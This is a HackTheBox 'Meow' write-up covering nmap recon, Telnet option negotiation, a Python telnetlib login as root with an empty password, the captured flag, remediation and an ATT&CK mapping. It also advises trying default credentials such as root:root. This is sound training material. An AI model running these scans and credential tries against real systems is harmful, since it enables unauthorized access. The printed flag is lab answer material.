Box info | OS: Ubuntu 20.04.2 LTS | Difficulty: Very Easy | Tier: 0 | Status: Starting Point Skills: TCP basics, Telnet protocol nuances, weak credentials Pwned: 2026-04-26

TL;DR

Meow is HTB’s first Starting Point box. One open port (23/tcp — Telnet), root login with an empty password, flag at /root/flag.txt. The interesting lesson isn’t the exploit — it’s why nc fails to talk to a Telnet server when raw sockets do not, and how to recognise protocols that need negotiation.

Recon

1. Liveness check

$ ping -c 2 10.129.97.185
64 bytes from 10.129.97.185: icmp_seq=0 ttl=63 time=38.298 ms
64 bytes from 10.129.97.185: icmp_seq=1 ttl=63 time=35.418 ms

Host is alive. TTL=63 → originally 64 minus one hop, so the OS is Linux (Windows starts from 128, Cisco from 255). ICMP isn’t filtered.

2. Top-100 port sweep

$ nmap --top-ports 100 10.129.97.185
PORT   STATE SERVICE
23/tcp open  telnet

Exactly one port open. On a Tier 0 box this is almost always the only attack surface — no need to wait for a full sweep before starting to enumerate.

3. Full sweep + service detection (background)

$ nmap -sV -sC -p- --min-rate 1000 10.129.97.185
PORT   STATE SERVICE VERSION
23/tcp open  telnet  Linux telnetd

No surprises. Telnet, full stop.

Foothold

Dead end #1 — raw sockets

My first instinct was to skip the client and just talk TCP:

import socket
s = socket.socket()
s.connect(('10.129.97.185', 23))
print(s.recv(1024))   # blocks → timeout
s.send(b'root\n')      # no echo, no response

Nothing. Why? Because Telnet is not raw TCP. Per RFC 854, the server immediately sends IAC DO/DONT/WILL/WONT option-negotiation bytes (terminal type, echo mode, window size, etc.) before any login prompt. Without a client that responds to that handshake, the server waits forever.

Dead end #2 — netcat

$ nc 10.129.97.185 23
# connection opens, no I/O

Same root cause: nc is byte-pump, not a Telnet client. It refuses to perform option negotiation, the server refuses to give up the prompt. Lesson: nc is great for HTTP/SMTP/raw sockets, but it cannot impersonate protocols that need handshakes.

Working approach — Python telnetlib

import telnetlib

tn = telnetlib.Telnet('10.129.97.185', 23, timeout=5)
banner = tn.read_until(b'Meow login:', timeout=5)
tn.write(b'root\n')
print(tn.read_all().decode())

telnetlib (stdlib) implements RFC 854 negotiation properly. Banner returns:

  █  █         ▐▌     ▄█▄ █          ▄▄▄▄
  █▄▄█ ▀▀█ █▀▀ ▐▌▄▀    █  █▀█ █▀█    █▌▄█ ▄▀▀▄ ▀▄▀
  █  █ █▄█ █▄▄ ▐█▀▄    █  █ █ █▄▄    █▌▄█ ▀▄▄▀ █▀█

Meow login: root
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
root@Meow:~#

The server didn’t even ask for a password. root is configured with an empty password — which on most distros means “any password is accepted” or “passwordless login allowed”, depending on PAM stack.

(If you don’t want to write Python, the canonical client is telnet 10.129.97.185 23 from the telnet package — same outcome, but writing it in telnetlib was instructive.)

Flag

root@Meow:~# cat flag.txt
b40abdfe23665f766f9c61ecba8a4c19

What’s actually broken

This box is intentionally a stack of textbook misconfigurations:

  1. Telnet exposed on the internet. All traffic — credentials, commands, output — is plaintext. Anyone on the path reads the whole session.
  2. Empty root password. Direct violation of every modern hardening standard (CIS, STIG, ISO 27001 control 9.4.3).
  3. Direct remote root login allowed. Even if a password existed, remote root over an unencrypted protocol fails on layered defence — both PermitRootLogin and Require encrypted transport should reject this.

Remediation (the boring half)

Replace Telnet with SSH and disable root login:

apt install -y openssh-server
systemctl enable --now ssh
systemctl disable --now inetd  # or whatever spawns telnetd

In /etc/ssh/sshd_config:

PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes

Lock the root account explicitly:

passwd -l root

Firewall:

ufw default deny incoming
ufw allow 22/tcp
ufw enable

MITRE ATT&CK mapping

TacticTechniqueHow it shows up here
Initial AccessT1078 — Valid AccountsLogging in as root
ExecutionT1059 — Command and Scripting InterpreterRunning cat over the Telnet shell
CollectionT1005 — Data from Local SystemReading /root/flag.txt

Lessons learned

  • TTL fingerprints OS family. TTL of 63/64 → Linux/Unix; 127/128 → Windows; 254/255 → Cisco/router/BSD. Always check before deciding flags for nmap.
  • --top-ports 100 first, full sweep in background. Don’t block on the slow scan when you can already start enumerating.
  • Some protocols need a handshake. Raw sockets and nc work for HTTP/SMTP/Redis. They fail silently against Telnet/SSH/TLS. When the connection succeeds but you get nothing, consider that the server is waiting on a client-initiated handshake.
  • Try the obvious creds first. root:, root:root, admin:admin. Don’t reach for Hydra on a box where the answer is “no password”.

🤖 AI-assist log

Transparency over polish. This is exactly where Claude was in the loop on this box.

StepWhat I askedWhat Claude returnedWhat I changed
Raw socket dead end“Why does my Python socket send to port 23 timeout?”Pointed to RFC 854 Telnet option negotiation. Cited the exact IAC DO/DONT/WILL/WONT byte sequence.Nothing — the explanation was correct and led directly to switching to telnetlib.
nc dead end“Same Telnet target, nc opens connection but I see nothing — same issue?”Confirmed: nc is a raw byte pump, doesn’t do Telnet negotiation. Suggested socat or telnet client.Picked telnetlib instead since I wanted Python control.
TTL fingerprint“TTL=63 from a Linux box — is that always reliable?”Caveated: TTL is a hop-decremented heuristic, can be spoofed (Linux net.ipv4.ip_default_ttl=128). Useful as first signal, not proof.Added the caveat into “Lessons learned”.
MITRE mapping“Map empty-password Telnet root login to ATT&CK.”Suggested T1078 (Valid Accounts) as primary, T1110.001 (Brute Force: Password Guessing) as secondary.Dropped T1110 — there was no guessing, just an empty-string accept. Kept T1078.

What Claude got wrong: nothing significant on this box. What Claude couldn’t do: actually run the exploit. The agent has no network access to HTB, all execution happens on my local machine. Net assist value: high on the why-explanations (RFC 854, TTL theory), zero on the what-actions (nmap, telnetlib).

References